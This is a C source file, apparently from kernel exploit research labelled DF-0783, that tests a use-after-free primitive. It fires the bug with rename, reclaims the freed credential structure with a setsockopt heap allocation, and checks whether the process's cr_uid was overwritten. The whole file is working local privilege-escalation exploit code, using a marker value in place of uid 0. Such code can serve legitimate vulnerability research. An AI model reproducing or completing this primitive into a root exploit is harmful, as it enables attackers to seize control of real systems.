DF-0783 / primtest.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | /* * DF-0783 Primitive Test โ verify the arbitrary-free + realloc primitive. * * 1. setgroups to satisfy byte constraint (cr_groups[0]=131072, [1]=11822). * 2. fork helper to read own ucred addr U + content. * 3. wait for go_flag (image is mounted). * 4. rename to fire bug -> free(U+56). * 5. setsockopt(valsize=192, val=marker_pattern) -> kmalloc(192) reclaims * U+56 (hopefully) and writes marker_pattern. * 6. fork helper to read own ucred AGAIN โ check if cr_uid changed. * * The marker pattern is chosen so cr_uid becomes 0x12345678 (not a real uid). * If the write succeeded, we'll see cr_uid = 0x12345678. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/wait.h> typedef unsigned long long u64; typedef unsigned int u32; typedef unsigned short u16; typedef unsigned char u8; #define UCREDSIZE 192 int main(int argc, char **argv) { char mnt[1024]; char src[4096], dst[4096]; char dump1[] = "/tmp/df0783_d1_XXXXXX"; char dump2[] = "/tmp/df0783_d2_XXXXXX"; u64 ucred_addr = 0; u8 before[UCREDSIZE], after[UCREDSIZE]; u8 marker[UCREDSIZE]; int i, dfd, s, rc; if (argc != 2) { fprintf(stderr, "usage: %s <mnt>\n", argv[0]); return 2; } snprintf(mnt, sizeof(mnt), "%s", argv[1]); snprintf(src, sizeof(src), "%s/d1/sub", mnt); snprintf(dst, sizeof(dst), "%s/d2/sub", mnt); /* Read ucred before rename. */ mkstemp(dump1); pid_t pid = fork(); if (pid == 0) { char p[16]; snprintf(p, sizeof(p), "%d", getppid()); execl("/usr/local/sbin/ucred_helper", "ucred_helper", p, dump1, NULL); _exit(127); } int st; waitpid(pid, &st, 0); dfd = open(dump1, O_RDONLY); if (dfd < 0 || read(dfd, &ucred_addr, 8) != 8 || read(dfd, before, UCREDSIZE) != UCREDSIZE) { perror("read dump1"); return 1; } close(dfd); unlink(dump1); fprintf(stderr, "[*] ucred=0x%llx uid=%u groups[0]=0x%x [1]=0x%x\n", (unsigned long long)ucred_addr, *(u32*)(before+64), *(u32*)(before+72), *(u32*)(before+76)); /* Wait for go_flag. */ fprintf(stderr, "[*] waiting for go_flag...\n"); for (i = 0; i < 120; i++) { if (access("/tmp/go_flag", F_OK) == 0) { unlink("/tmp/go_flag"); break; } sleep(1); } /* Open socket. */ s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } /* Build marker: byte 8 (cr_uid position relative to U+56) = 0x12345678. */ memset(marker, 0xCC, sizeof(marker)); *(u32*)(marker + 8) = 0x12345678; /* cr_uid */ fprintf(stderr, "[*] rename...\n"); rc = rename(src, dst); fprintf(stderr, "[*] rename rc=%d errno=%d\n", rc, errno); fprintf(stderr, "[*] setsockopt (alloc 192, write marker)...\n"); rc = setsockopt(s, SOL_SOCKET, SO_RCVBUF, marker, sizeof(marker)); fprintf(stderr, "[*] setsockopt rc=%d errno=%d\n", rc, errno); /* Read ucred AFTER. */ mkstemp(dump2); pid = fork(); if (pid == 0) { char p[16]; snprintf(p, sizeof(p), "%d", getppid()); execl("/usr/local/sbin/ucred_helper", "ucred_helper", p, dump2, NULL); _exit(127); } waitpid(pid, &st, 0); u64 ucred_after = 0; dfd = open(dump2, O_RDONLY); if (dfd >= 0) { read(dfd, &ucred_after, 8); read(dfd, after, UCREDSIZE); close(dfd); } unlink(dump2); fprintf(stderr, "\n=== RESULTS ===\n"); fprintf(stderr, "ucred before: 0x%llx, after: 0x%llx\n", (unsigned long long)ucred_addr, (unsigned long long)ucred_after); fprintf(stderr, "cr_uid before: %u (0x%x)\n", *(u32*)(before+64), *(u32*)(before+64)); fprintf(stderr, "cr_uid after: %u (0x%x)\n", *(u32*)(after+64), *(u32*)(after+64)); fprintf(stderr, "cr_ngroups before: %u, after: %u\n", *(u16*)(before+68), *(u16*)(after+68)); fprintf(stderr, "getuid() = %d\n", getuid()); fprintf(stderr, "first 80 bytes after:\n "); for (i = 0; i < 80; i++) { fprintf(stderr, "%02x ", after[i]); if (i % 16 == 15) fprintf(stderr, "\n "); } fprintf(stderr, "\n"); if (getuid() == 0 || *(u32*)(after+64) == 0x12345678) { fprintf(stderr, "[!!!] PRIMITIVE WORKED โ cr_uid was overwritten\n"); } else { fprintf(stderr, "[!] primitive did not change cr_uid (race lost or wrong realloc)\n"); } return 0; } |